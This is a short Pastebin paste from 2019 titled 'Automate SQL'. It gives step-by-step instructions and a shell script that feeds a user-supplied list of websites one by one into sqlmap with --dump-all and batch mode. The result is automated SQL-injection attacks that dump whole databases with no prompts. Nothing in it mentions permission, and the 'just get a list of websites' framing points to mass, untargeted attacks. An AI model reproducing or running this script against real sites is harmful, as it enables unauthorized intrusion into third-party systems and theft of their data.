Advertisement
vxpz

Automate SQL

Sep 20th, 2019
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.54 KB | None | 0 0
  1. 1. Just get a list of websites and save them to a file.
  2. 2. save this shell script to a file
  3. #!/bin/sh
  4.  
  5. #automating sqlmap
  6.  
  7. if [ -z $1 ];
  8.  
  9. then
  10.  
  11. echo "specify a file"
  12.  
  13. exit
  14.  
  15. fi
  16.  
  17.  
  18.  
  19. while IFS='' read -r line || [[ -n "$line" ]]; do
  20.  
  21. sqlmap -u $line --dump-all --answers="follow=Y" --batch
  22. done < "$1"
  23.  
  24. 3. execute the shell script in your console with the name of the file with the list of websites you saved
  25.  
  26. (This script will suppress all the questions and may take longer than a normal sqlmap scan.)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement